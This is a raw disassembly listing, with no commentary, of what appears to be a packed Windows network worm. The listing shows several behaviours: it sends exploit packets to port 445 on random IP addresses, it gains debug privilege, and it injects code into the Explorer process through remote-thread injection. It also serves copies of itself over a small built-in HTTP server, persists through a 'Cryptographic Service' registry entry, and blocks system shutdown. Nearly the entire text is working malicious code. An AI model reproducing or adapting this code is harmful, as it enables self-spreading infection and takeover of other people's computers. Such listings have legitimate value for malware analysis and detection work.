sub_314319BC+83j mov dl, [ebp+ecx+var_4C] mov [eax-1], dl and byte ptr [eax], 0 inc ecx inc eax inc eax cmp ecx, 28h jl short loc_31431A2F push 60h lea eax, [ebp+var_E4] push offset dword_314347C0 push eax call sub_31432EB2 ; memcpy lea eax, [ebp+var_4C] push eax call sub_31432EAC ; strlen shl eax, 1 push eax lea eax, [ebp+var_134] push eax lea eax, [ebp+var_B4] push eax call sub_31432EB2 ; memcpy add esp, 1Ch lea eax, [ebp+var_4C] push 9 push (offset aC+3) push eax call sub_31432EAC ; strlen pop ecx lea eax, [ebp+eax*2+var_B5] push eax call sub_31432EB2 ; memcpy lea eax, [ebp+var_4C] push eax call sub_31432EAC ; strlen add al, 1Ah push edi shl al, 1 mov [ebp+var_5], al lea eax, [ebp+var_5] push eax lea eax, [ebp+var_E1] push eax call sub_31432EB2 ; memcpy lea eax, [ebp+var_4C] push eax call sub_31432EAC ; strlen shl al, 1 add al, 9 push edi mov [ebp+var_6], al lea eax, [ebp+var_6] push eax lea eax, [ebp+var_B7] push eax call sub_31432EB2 ; memcpy push 0E29h lea eax, [ebp+var_1F28] push 31h push eax call sub_31432EA6 ; memset push 10h lea eax, [ebp+var_24] push ebx push eax call sub_31432EA6 ; memset add esp, 44h mov [ebp+var_24], 2 push 1BDh call dword_31431164 ; ntohs mov [ebp+var_22], ax lea eax, [ebp+var_24] push 10h push eax push [ebp+var_4] mov [ebp+var_20], esi call dword_31431168 ; connect cmp eax, 0FFFFFFFFh jz loc_31431F12 mov esi, dword_3143109C mov edi, 0C8h push edi call esi ; Sleep push ebx mov ebx, dword_3143116C push 89h push offset dword_314345A8 push [ebp+var_4] call ebx ; send push edi call esi ; Sleep push 0 lea eax, [ebp+var_774] push 640h push eax push [ebp+var_4] call dword_31431170 ; recv cmp eax, 0FFFFFFFFh jz loc_31431F07 push 0 push 0A8h push offset dword_31434634 push [ebp+var_4] call ebx ; send push edi call esi ; Sleep push 0 lea eax, [ebp+var_774] push 640h push eax push [ebp+var_4] call dword_31431170 ; recv cmp eax, 0FFFFFFFFh jz loc_31431F07 push 0 push 0DEh push offset dword_314346E0 push [ebp+var_4] call ebx ; send push edi call esi ; Sleep push 0 lea eax, [ebp+var_774] push 640h push eax push [ebp+var_4] call dword_31431170 ; recv cmp eax, 0FFFFFFFFh jz loc_31431F07 cmp eax, 46h jl loc_31431F07 cmp [ebp+var_730], 31h jnz loc_31431DB2 and [ebp+arg_0], 0 push 7D0h lea eax, [ebp+var_F44] push 90h push eax call sub_31432EA6 ; memset add esp, 0Ch push offset byte_314342E0 call dword_31431088 ; lstrlenA push eax lea eax, [ebp+var_EA4] push offset byte_314342E0 push eax call sub_31432EB2 ; memcpy add esp, 0Ch lea eax, [ebp+var_14] push eax call dword_31431088 ; lstrlenA push eax lea eax, [ebp+var_14] push eax lea eax, [ebp+var_788] push eax call sub_31432EB2 ; memcpy mov eax, dword_31434BE6 add esp, 0Ch mov [ebp+var_798], eax loc_31431C53: ; CODE XREF: sub_314319BC+4E1j movsx eax, [ebp+var_5] add eax, 4 push 0 push eax lea eax, [ebp+var_E4] push eax push [ebp+var_4] call ebx ; send push edi call esi ; Sleep push 0 lea eax, [ebp+var_774] push 640h push eax push [ebp+var_4] call dword_31431170 ; recv cmp eax, 0FFFFFFFFh jz loc_31431F07 push 0 push 68h push offset dword_31434824 push [ebp+var_4] call ebx ; send push edi call esi ; Sleep push 0 lea eax, [ebp+var_774] push 640h push eax push [ebp+var_4] call dword_31431170 ; recv cmp eax, 0FFFFFFFFh jz loc_31431F07 push 0 push 0A0h push offset dword_31434890 push [ebp+var_4] call ebx ; send push edi call esi ; Sleep push 0 lea eax, [ebp+var_774] push 640h push eax push [ebp+var_4] call dword_31431170 ; recv cmp eax, 0FFFFFFFFh jz loc_31431F07 cmp [ebp+arg_0], 0 jz loc_31431EA2 push 68h lea eax, [ebp+var_89E4] push offset dword_31434A48 push eax call sub_31432EB2 ; memcpy lea eax, [ebp+var_4834] push 1B5Ah push eax lea eax, [ebp+var_897C] push eax call sub_31432EB2 ; memcpy push 70h lea eax, [ebp+var_690C] push offset dword_31434AB4 push eax call sub_31432EB2 ; memcpy lea eax, [ebp+var_37A0] push 0A5Eh push eax lea eax, [ebp+var_689C] push eax call sub_31432EB2 ; memcpy push 84h lea eax, [ebp+var_5DD8] push offset dword_31434B28 push eax call sub_31432EB2 ; memcpy add esp, 3Ch lea eax, [ebp+var_89E4] push 0 push 10FCh push eax push [ebp+var_4] call ebx ; send push edi call esi ; Sleep push 0 lea eax, [ebp+var_774] push 640h push eax push [ebp+var_4] call dword_31431170 ; recv cmp eax, 0FFFFFFFFh jz loc_31431F07 push 0 push 0FDCh lea eax, [ebp+var_690C] jmp loc_31431EFA ; --------------------------------------------------------------------------- loc_31431DB2: ; CODE XREF: sub_314319BC+22Bj push 0DACh lea eax, [ebp+var_2CD8] push 90h push eax mov [ebp+arg_0], 1 call sub_31432EA6 ; memset push 4 lea eax, [ebp+var_24F4] push offset dword_31434C20 push eax call sub_31432EB2 ; memcpy push offset byte_314342E0 call sub_31432EAC ; strlen push eax lea eax, [ebp+var_24E4] push offset byte_314342E0 push eax call sub_31432EB2 ; memcpy push 4 lea eax, [ebp+var_21C0] push offset loc_31434C98 push eax call sub_31432EB2 ; memcpy push 4 lea eax, [ebp+var_21BC] push offset dword_31434C20 push eax call sub_31432EB2 ; memcpy add esp, 40h push offset byte_314342E0 call sub_31432EAC ; strlen push eax lea eax, [ebp+var_21B0] push offset byte_314342E0 push eax call sub_31432EB2 ; memcpy add esp, 10h xor ecx, ecx lea eax, [ebp+var_4833] loc_31431E4E: ; CODE XREF: sub_314319BC+4A8j mov dl, [ebp+ecx+var_2CD8] mov [eax-1], dl and byte ptr [eax], 0 inc ecx inc eax inc eax cmp ecx, 0DACh jl short loc_31431E4E and [ebp+var_2CDC], 0 and [ebp+var_2CDB], 0 push 1C52h lea eax, [ebp+var_89E4] push 31h push eax call sub_31432EA6 ; memset push 1C52h lea eax, [ebp+var_690C] push 31h push eax call sub_31432EA6 ; memset add esp, 18h jmp loc_31431C53 ; --------------------------------------------------------------------------- loc_31431EA2: ; CODE XREF: sub_314319BC+339j push 7Ch lea eax, [ebp+var_1F28] push offset dword_31434934 push eax call sub_31432EB2 ; memcpy lea eax, [ebp+var_F44] push 7D0h push eax lea eax, [ebp+var_1EAC] push eax call sub_31432EB2 ; memcpy push 90h lea eax, [ebp+var_16DC] push offset dword_314349B4 push eax call sub_31432EB2 ; memcpy add esp, 24h and [ebp+var_1231], 0 lea eax, [ebp+var_1F28] push 0 push 0CF8h loc_31431EFA: ; CODE XREF: sub_314319BC+3F1j push eax push [ebp+var_4] call ebx ; send push edi call esi ; Sleep and [ebp+var_C], 0 loc_31431F07: ; CODE XREF: sub_314319BC+1ADj ; sub_314319BC+1E1j ... push 2 push [ebp+var_4] call dword_31431174 ; shutdown loc_31431F12: ; CODE XREF: sub_314319BC+166j push [ebp+var_4] call dword_31431178 ; closesocket pop esi loc_31431F1C: ; CODE XREF: sub_314319BC+37j mov eax, [ebp+var_C] pop edi pop ebx leave retn sub_314319BC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31431F23 proc near ; CODE XREF: UPX0:loc_31432531p var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 1Ch push esi push edi push offset aAdvapi32 ; "advapi32" call dword_314310AC ; LoadLibraryA mov esi, dword_314310A8 mov edi, eax push offset aOpenprocesstok ; "OpenProcessToken" push edi call esi ; GetProcAddress test eax, eax mov [ebp+var_4], eax jz short loc_31431FA7 push offset aLookupprivileg ; "LookupPrivilegeValueA" push edi call esi ; GetProcAddress test eax, eax mov [ebp+var_8], eax jz short loc_31431FA7 push offset aAdjusttokenpri ; "AdjustTokenPrivileges" push edi call esi ; GetProcAddress mov esi, eax test esi, esi jz short loc_31431FA7 lea eax, [ebp+var_C] push eax push 20h call dword_314310A4 ; GetCurrentProcess push eax call [ebp+var_4] lea eax, [ebp+var_18] mov [ebp+var_1C], 1 push eax push offset aSedebugprivile ; "SeDebugPrivilege" push 0 mov [ebp+var_10], 2 call [ebp+var_8] push 0 push 0 lea eax, [ebp+var_1C] push 10h push eax push 0 push [ebp+var_C] call esi ; GetProcAddress loc_31431FA7: ; CODE XREF: sub_31431F23+28j ; sub_31431F23+37j ... pop edi pop esi leave retn sub_31431F23 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31431FAB proc near ; CODE XREF: UPX0:31432545p var_18 = byte ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18h mov ecx, dword_31435040 and [ebp+var_4], 0 push ebx push esi mov eax, [ecx+3Ch] push edi add eax, ecx push offset aKernel32 ; "kernel32" mov ecx, [eax+34h] mov edi, [eax+50h] mov [ebp+var_C], ecx call dword_314310B8 ; GetModuleHandleA mov esi, dword_314310A8 mov ebx, eax push offset aVirtualallocex ; "VirtualAllocEx" push ebx call esi ; GetProcAddress test eax, eax mov [ebp+var_10], eax jnz short loc_31431FF2 loc_31431FEE: ; CODE XREF: sub_31431FAB+54j push 1 jmp short loc_31432043 ; --------------------------------------------------------------------------- loc_31431FF2: ; CODE XREF: sub_31431FAB+41j push offset aCreateremoteth ; "CreateRemoteThread" push ebx call esi ; GetProcAddress test eax, eax mov [ebp+var_14], eax jz short loc_31431FEE push 0 push offset aShell_traywnd ; "Shell_TrayWnd" call dword_31431114 ; FindWindowA test eax, eax jnz short loc_31432020 call dword_31431118 ; GetForegroundWindow test eax, eax jnz short loc_31432020 push 2 jmp short loc_31432043 ; --------------------------------------------------------------------------- loc_31432020: ; CODE XREF: sub_31431FAB+65j ; sub_31431FAB+6Fj lea ecx, [ebp+var_8] push ecx push eax call dword_3143111C ; GetWindowThreadProcessId push [ebp+var_8] push 0 push 42Ah call dword_314310B4 ; OpenProcess mov ebx, eax test ebx, ebx jnz short loc_31432046 push 3 loc_31432043: ; CODE XREF: sub_31431FAB+45j ; sub_31431FAB+73j pop eax jmp short loc_314320B1 ; --------------------------------------------------------------------------- loc_31432046: ; CODE XREF: sub_31431FAB+94j push 4 push 3000h push edi push [ebp+var_C] push ebx call [ebp+var_10] mov esi, dword_31431080 test eax, eax jz short loc_314320A4 lea ecx, [ebp+var_10] push ecx push edi push eax push eax push ebx call dword_314310B0 ; WriteProcessMemory push dword_31435034 call esi ; CloseHandle lea eax, [ebp+var_18] xor edi, edi push eax push edi push 1 push [ebp+arg_0] push edi push edi push ebx call [ebp+var_14] cmp eax, edi jz short loc_31432090 push eax call esi ; CloseHandle jmp short loc_314320AB ; --------------------------------------------------------------------------- loc_31432090: ; CODE XREF: sub_31431FAB+DEj push offset aUterm192 ; "uterm19-2" call sub_314320E4 pop ecx mov [ebp+var_4], 5 jmp short loc_314320AB ; --------------------------------------------------------------------------- loc_314320A4: ; CODE XREF: sub_31431FAB+B2j mov [ebp+var_4], 4 loc_314320AB: ; CODE XREF: sub_31431FAB+E3j ; sub_31431FAB+F7j push ebx call esi ; CloseHandle mov eax, [ebp+var_4] loc_314320B1: ; CODE XREF: sub_31431FAB+99j pop edi pop esi pop ebx leave retn sub_31431FAB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_314320B6 proc near ; CODE XREF: sub_3143237F+Bp ; UPX0:31432507p ... var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push ebx push esi push edi pusha rdtsc mov [ebp+var_8], eax popa mov [ebp+var_4], esp call dword_314310BC ; GetTickCount mov ecx, [ebp+var_4] imul ecx, [ebp+var_8] add eax, ecx push eax call dword_314310EC ; srand pop ecx pop edi pop esi pop ebx leave retn sub_314320B6 endp ; =============== S U B R O U T I N E ======================================= sub_314320E4 proc near ; CODE XREF: sub_31431FAB+EAp ; UPX0:31432511p ... arg_0 = dword ptr 4 push [esp+arg_0] push 1 push 0 call dword_314310C0 ; CreateMutexA retn sub_314320E4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_314320F3 proc near ; CODE XREF: sub_3143256D+163p ; sub_3143256D+16Ep ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp lea eax, [ebp+arg_4] push eax xor eax, eax push eax push [ebp+arg_4] push [ebp+arg_0] push eax push eax call dword_314310C4 ; CreateThread pop ebp retn sub_314320F3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_3143210D proc near ; CODE XREF: sub_3143237F+12Cp ; sub_3143278A+59p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp lea eax, [ebp+arg_4] push eax xor eax, eax push eax push [ebp+arg_4] push [ebp+arg_0] push eax push eax call dword_314310C4 ; CreateThread push eax call dword_31431080 ; CloseHandle pop ebp retn sub_3143210D endp ; =============== S U B R O U T I N E ======================================= sub_3143212E proc near ; CODE XREF: sub_314311A0+68p ; sub_31432C62+3Bp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_0] push esi push edi mov edi, [esp+0Ch+arg_4] xor esi, esi test edi, edi jle short loc_31432156 loc_3143213F: ; CODE XREF: sub_3143212E+26j call dword_314310FC ; rand push 1Ah cdq pop ecx idiv ecx add dl, 61h mov [esi+ebx], dl inc esi cmp esi, edi jl short loc_3143213F loc_31432156: ; CODE XREF: sub_3143212E+Fj and byte ptr [ebx+edi], 0 pop edi pop esi pop ebx retn sub_3143212E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_3143215E proc near ; CODE XREF: sub_314311A0+105p var_54 = dword ptr -54h var_24 = word ptr -24h var_10 = dword ptr -10h var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = word ptr 0Ch push ebp mov ebp, esp sub esp, 54h push esi push edi push 44h xor esi, esi pop edi lea eax, [ebp+var_54] push edi push esi push eax call sub_31432EA6 ; memset mov ax, [ebp+arg_4] add esp, 0Ch mov [ebp+var_24], ax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_54] push eax push esi push esi push esi push esi push esi push esi mov [ebp+var_54], edi push [ebp+arg_0] push esi call dword_314310C8 ; CreateProcessA push [ebp+var_C] mov esi, dword_31431080 mov edi, eax call esi ; CloseHandle push [ebp+var_10] call esi ; CloseHandle mov eax, edi pop edi pop esi leave retn sub_3143215E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_314321B4 proc near ; CODE XREF: sub_31432810+3Ep ; sub_314328D7+7p ... var_34 = byte ptr -34h push ebp mov ebp, esp sub esp, 34h lea eax, [ebp+var_34] push 31h push eax call dword_31431150 ; gethostname cmp eax, 0FFFFFFFFh jnz short loc_314321D5 call dword_31431154 ; WSAGetLastError xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_314321D5: ; CODE XREF: sub_314321B4+15j lea eax, [ebp+var_34] push eax call dword_31431158 ; gethostbyname test eax, eax jnz short loc_314321EA mov eax, 100007Fh leave retn ; --------------------------------------------------------------------------- loc_314321EA: ; CODE XREF: sub_314321B4+2Dj mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] leave retn sub_314321B4 endp ; =============== S U B R O U T I N E ======================================= sub_314321F3 proc near ; CODE XREF: sub_3143185D+12p ; sub_31432728+21p ... var_4 = byte ptr -4 push ecx lea eax, [esp+4+var_4] push 0 push eax call dword_31431134 ; InternetGetConnectedState neg eax sbb eax, eax neg eax pop ecx retn sub_314321F3 endp ; =============== S U B R O U T I N E ======================================= sub_31432209 proc near ; CODE XREF: sub_3143256D+F4p arg_0 = dword ptr 4 push [esp+arg_0] push 0 push 2 call dword_314310D0 ; OpenEventA test eax, eax jz short locret_31432222 push eax call dword_314310CC ; SetEvent locret_31432222: ; CODE XREF: sub_31432209+10j retn sub_31432209 endp ; =============== S U B R O U T I N E ======================================= sub_31432223 proc near ; CODE XREF: sub_3143185D+68p push esi mov esi, dword_314310FC push edi call esi ; rand mov edi, eax shl edi, 10h call esi ; rand or eax, edi pop edi pop esi retn sub_31432223 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31432239 proc near ; DATA XREF: sub_3143237F+127o var_200 = byte ptr -200h var_100 = byte ptr -100h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 200h push ebx mov ebx, [ebp+arg_0] push esi push edi xor edi, edi lea eax, [ebp+var_100] push edi push 100h push eax push ebx call dword_31431170 ; recv cmp eax, 0FFFFFFFFh jnz short loc_3143226A push 1 jmp loc_31432325 ; --------------------------------------------------------------------------- loc_3143226A: ; CODE XREF: sub_31432239+28j mov esi, dword_31431104 lea eax, [ebp+var_100] push offset aGet ; "GET" push eax call esi ; strstr pop ecx test eax, eax pop ecx jz loc_31432335 lea eax, [ebp+var_100] push offset dword_314341F0 push eax call esi ; strstr pop ecx test eax, eax pop ecx jz loc_31432335 mov esi, dword_3143116C push 0 push 3Dh push offset aHttp1_1200OkCo ; "HTTP/1.1 200 OK\r\nContent-Type: applicat"... push ebx call esi ; send push dword_31435030 lea eax, [ebp+var_200] push offset aContentLengthU ; "Content-Length: %u\r\n\r\n" push eax call dword_31431120 ; wsprintfA add esp, 0Ch lea eax, [ebp+var_200] push 0 push eax call sub_31432EAC ; strlen pop ecx push eax lea eax, [ebp+var_200] push eax push ebx call esi ; send loc_314322E7: ; CODE XREF: sub_31432239+E8j mov eax, dword_31435030 mov ecx, 1000h sub eax, edi cmp eax, ecx jb short loc_314322F9 mov eax, ecx loc_314322F9: ; CODE XREF: sub_31432239+BCj test eax, eax jz short loc_31432328 push 0 push eax mov eax, dword_31435028 add eax, edi push eax push ebx call esi ; send cmp eax, 0FFFFFFFFh jz short loc_31432323 cmp eax, 1000h jb short loc_31432328 push 64h add edi, eax call dword_3143109C ; Sleep jmp short loc_314322E7 ; --------------------------------------------------------------------------- loc_31432323: ; CODE XREF: sub_31432239+D5j push 2 loc_31432325: ; CODE XREF: sub_31432239+2Cj pop eax jmp short loc_31432378 ; --------------------------------------------------------------------------- loc_31432328: ; CODE XREF: sub_31432239+C2j ; sub_31432239+DCj push offset dword_3143502C call dword_314310D8 ; InterlockedIncrement jmp short loc_31432353 ; --------------------------------------------------------------------------- loc_31432335: ; CODE XREF: sub_31432239+49j ; sub_31432239+61j mov esi, dword_3143116C push 0 push 15h push offset aHttp1_1200Ok ; "HTTP/1.1 200 OK\r\n\r\n\r\n" push ebx call esi ; send push 0 push 3 push offset dword_31434D64 push ebx call esi ; send loc_31432353: ; CODE XREF: sub_31432239+FAj push 7D0h call dword_3143109C ; Sleep push 2 push ebx call dword_31431174 ; shutdown push ebx call dword_31431178 ; closesocket push 0 call dword_314310D4 ; ExitThread xor eax, eax loc_31432378: ; CODE XREF: sub_31432239+EDj pop edi pop esi pop ebx leave retn 4 sub_31432239 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_3143237F proc near ; DATA XREF: sub_3143256D+15Eo var_130 = byte ptr -130h var_28 = byte ptr -28h var_18 = word ptr -18h var_16 = word ptr -16h var_14 = dword ptr -14h var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 130h push ebx push edi call sub_314320B6 lea eax, [ebp+var_130] push 104h push eax push offset aCryptographicS ; "Cryptographic Service" xor ebx, ebx push offset aSoftwareMicr_0 ; "SOFTWARE\\Microsoft\\Windows\\CurrentVersi"... push 80000002h mov dword_3143502C, ebx call sub_31432A49 add esp, 14h test eax, eax jnz loc_314324B4 push esi push ebx push ebx push 3 push ebx push 1 lea eax, [ebp+var_130] push 80000000h push eax call dword_31431084 ; CreateFileA mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_314323EB push 1 call dword_314310D4 ; ExitThread loc_314323EB: ; CODE XREF: sub_3143237F+62j push ebx push esi call dword_314310E0 ; GetFileSize push eax mov dword_31435030, eax call sub_31432E6C pop ecx mov dword_31435028, eax lea ecx, [ebp+var_4] push ebx push ecx push dword_31435030 push eax push esi call dword_314310DC ; ReadFile mov eax, [ebp+var_4] push esi mov dword_31435030, eax call dword_31431080 ; CloseHandle push ebx push 1 push 2 call dword_3143115C ; socket push 10h mov edi, eax pop esi lea eax, [ebp+var_18] push esi push ebx push eax call sub_31432EA6 ; memset add esp, 0Ch mov [ebp+var_18], 2 mov [ebp+var_14], ebx loc_3143244D: ; CODE XREF: sub_3143237F+E5j ; sub_3143237F+EDj ... call dword_314310FC ; rand add eax, 7D0h and eax, 1FFFh cmp al, bl mov dword_3143503C, eax jz short loc_3143244D xor ecx, ecx mov cl, ah test cl, cl jz short loc_3143244D push eax call dword_31431164 ; ntohs mov [ebp+var_16], ax lea eax, [ebp+var_18] push esi push eax push edi call dword_31431144 ; bind test eax, eax jnz short loc_3143244D push 64h push edi call dword_31431148 ; listen mov [ebp+var_8], esi pop esi loc_31432496: ; CODE XREF: sub_3143237F+133j lea eax, [ebp+var_8] push eax lea eax, [ebp+var_28] push eax push edi call dword_3143114C ; accept push eax push offset sub_31432239 call sub_3143210D pop ecx pop ecx jmp short loc_31432496 ; --------------------------------------------------------------------------- loc_314324B4: ; CODE XREF: sub_3143237F+3Dj push ebx call dword_314310D4 ; ExitThread pop edi xor eax, eax pop ebx leave retn 4 sub_3143237F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_314324C3 proc near ; CODE XREF: sub_3143256D:loc_314326C5p var_190 = byte ptr -190h push ebp mov ebp, esp sub esp, 190h lea eax, [ebp+var_190] push esi mov esi, dword_31431140 push eax push 2 call esi ; WSAStartup lea eax, [ebp+var_190] push eax push 102h call esi ; WSAStartup pop esi leave retn sub_314324C3 endp ; --------------------------------------------------------------------------- loc_314324EF: ; CODE XREF: UPX1:31437DD8j push 0 call dword_314310B8 ; GetModuleHandleA push offset aFtpupd_exe ; "ftpupd.exe" mov dword_31435040, eax call dword_31431074 ; DeleteFileA call sub_314320B6 push offset aUterm20 ; "uterm20" call sub_314320E4 pop ecx mov dword_31435034, eax call dword_31431078 ; RtlGetLastWin32Error cmp eax, 0B7h jnz short loc_31432531 push 1 call dword_314310E4 ; ExitProcess loc_31432531: ; CODE XREF: UPX0:31432527j call sub_31431F23 call sub_31432BAD call sub_31432D2E push offset sub_3143256D call sub_31431FAB test eax, eax pop ecx jz short loc_31432556 push 0 call sub_3143256D loc_31432556: ; CODE XREF: UPX0:3143254Dj xor eax, eax retn ; =============== S U B R O U T I N E ======================================= sub_31432559 proc near ; CODE XREF: sub_3143256D:loc_314326EEp ; sub_31432728:loc_31432740p ... push 0 push dword_31435038 call dword_31431070 ; WaitForSingleObject neg eax sbb eax, eax inc eax retn sub_31432559 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_3143256D proc near ; CODE XREF: UPX0:31432551p ; DATA XREF: UPX0:31432540o var_7C = dword ptr -7Ch var_78 = dword ptr -78h var_74 = dword ptr -74h var_70 = dword ptr -70h var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = dword ptr -60h var_5C = dword ptr -5Ch var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_31431190 push offset loc_31432EA0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 6Ch push ebx push esi push edi mov [ebp+var_78], offset aU10x ; "u10x" mov [ebp+var_74], offset aU11x ; "u11x" mov [ebp+var_70], offset aU12x ; "u12x" mov [ebp+var_6C], offset aU13x ; "u13x" mov [ebp+var_68], offset aU14x ; "u14x" mov [ebp+var_64], offset aU15x ; "u15x" mov [ebp+var_60], offset aU16x ; "u16x" mov [ebp+var_5C], offset aU17x ; "u17x" mov [ebp+var_58], offset aU18x ; "u18x" mov [ebp+var_54], offset aU19x ; "u19x" mov [ebp+var_50], offset aU8 ; "u8" mov [ebp+var_4C], offset aU9 ; "u9" mov [ebp+var_48], offset aU10 ; "u10" mov [ebp+var_44], offset aU11 ; "u11" mov [ebp+var_40], offset aU12 ; "u12" mov [ebp+var_3C], offset aU13 ; "u13" mov [ebp+var_38], offset aU13i ; "u13i" mov [ebp+var_34], offset aU14 ; "u14" mov [ebp+var_30], offset aU15 ; "u15" mov [ebp+var_2C], offset aU16 ; "u16" mov [ebp+var_28], offset aU17 ; "u17" mov [ebp+var_24], offset aU18 ; "u18" mov [ebp+var_20], offset aU19 ; "u19" mov [ebp+var_1C], offset aU20 ; "u20" push offset aU20x ; "u20x" xor edi, edi push edi push 1 push edi call dword_3143106C ; CreateEventA mov dword_31435038, eax mov [ebp+var_4], edi mov [ebp+var_7C], edi loc_31432654: ; CODE XREF: sub_3143256D+FDj cmp [ebp+var_7C], 0Ah jnb short loc_3143266C mov eax, [ebp+var_7C] push [ebp+eax*4+var_78] call sub_31432209 pop ecx inc [ebp+var_7C] jmp short loc_31432654 ; --------------------------------------------------------------------------- loc_3143266C: ; CODE XREF: sub_3143256D+EBj mov [ebp+var_7C], edi loc_3143266F: ; CODE XREF: sub_3143256D+118j cmp [ebp+var_7C], 0Eh jnb short loc_31432687 mov eax, [ebp+var_7C] push [ebp+eax*4+var_50] call sub_314320E4 pop ecx inc [ebp+var_7C] jmp short loc_3143266F ; --------------------------------------------------------------------------- loc_31432687: ; CODE XREF: sub_3143256D+106j cmp [ebp+arg_0], edi jz short loc_314326C5 push offset aWs2_32 ; "ws2_32" mov esi, dword_314310AC call esi ; LoadLibraryA push offset aWininet ; "wininet" call esi ; LoadLibraryA push offset aMsvcrt ; "msvcrt" call esi ; LoadLibraryA push offset aAdvapi32 ; "advapi32" call esi ; LoadLibraryA push offset aUser32 ; "user32" call esi ; LoadLibraryA push offset aUterm20 ; "uterm20" call sub_314320E4 pop ecx mov dword_31435034, eax loc_314326C5: ; CODE XREF: sub_3143256D+11Dj call sub_314324C3 push edi push offset sub_3143237F call sub_314320F3 push edi push offset sub_3143185D call sub_314320F3 push edi push offset loc_31432933 call sub_314320F3 add esp, 18h loc_314326EE: ; CODE XREF: sub_3143256D+19Cj call sub_31432559 test eax, eax jnz short loc_3143270B push edi call dword_31431018 ; AbortSystemShutdownA push 1388h call dword_3143109C ; Sleep jmp short loc_314326EE ; --------------------------------------------------------------------------- loc_3143270B: ; CODE XREF: sub_3143256D+188j or [ebp+var_4], 0FFFFFFFFh call nullsub_2 xor eax, eax mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn 4 sub_3143256D endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31432728 proc near ; DATA XREF: sub_3143278A+54o ; sub_31432810+6Ao ... var_1 = byte ptr -1 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx cmp byte ptr [ebp+arg_0], 7Fh jnz short loc_31432737 push 1 pop eax jmp short locret_31432786 ; --------------------------------------------------------------------------- loc_31432737: ; CODE XREF: sub_31432728+8j mov al, byte ptr [ebp+arg_0+3] push ebx mov [ebp+var_1], al xor bl, bl loc_31432740: ; CODE XREF: sub_31432728+59j call sub_31432559 test eax, eax jnz short loc_31432783 call sub_314321F3 test eax, eax jz short loc_31432783 cmp [ebp+var_1], bl jz short loc_3143277C mov byte ptr [ebp+arg_0+3], bl push [ebp+arg_0] call sub_314319BC pop ecx call dword_314310FC ; rand mov ecx, dword_3143504C xor edx, edx div ecx add edx, ecx push edx call dword_3143109C ; Sleep loc_3143277C: ; CODE XREF: sub_31432728+2Dj inc bl cmp bl, 0FFh jb short loc_31432740 loc_31432783: ; CODE XREF: sub_31432728+1Fj ; sub_31432728+28j xor eax, eax pop ebx locret_31432786: ; CODE XREF: sub_31432728+Dj leave retn 4 sub_31432728 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_3143278A proc near ; DATA XREF: sub_31432810+7Eo ; UPX0:314329CAo arg_0 = dword ptr 8 push ebp mov ebp, esp cmp byte ptr [ebp+arg_0], 7Fh jnz short loc_31432798 push 1 pop eax jmp short loc_3143280C ; --------------------------------------------------------------------------- loc_31432798: ; CODE XREF: sub_3143278A+7j push esi push edi call sub_314320B6 mov esi, dword_314310FC xor edi, edi loc_314327A7: ; CODE XREF: sub_3143278A+7Cj call sub_31432559 test eax, eax jnz short loc_31432808 call sub_314321F3 test eax, eax jz short loc_31432808 call esi ; rand mov byte ptr [ebp+arg_0+2], al call esi ; rand push offset dword_31435044 mov byte ptr [ebp+arg_0+3], al call dword_314310D8 ; InterlockedIncrement push [ebp+arg_0] call sub_314319BC test eax, eax pop ecx jnz short loc_314327EA push [ebp+arg_0] push offset sub_31432728 call sub_3143210D pop ecx pop ecx loc_314327EA: ; CODE XREF: sub_3143278A+4Fj call esi ; rand mov ecx, dword_3143504C xor edx, edx div ecx add edx, ecx push edx call dword_3143109C ; Sleep inc edi cmp edi, 8000h jl short loc_314327A7 loc_31432808: ; CODE XREF: sub_3143278A+24j ; sub_3143278A+2Dj pop edi xor eax, eax pop esi 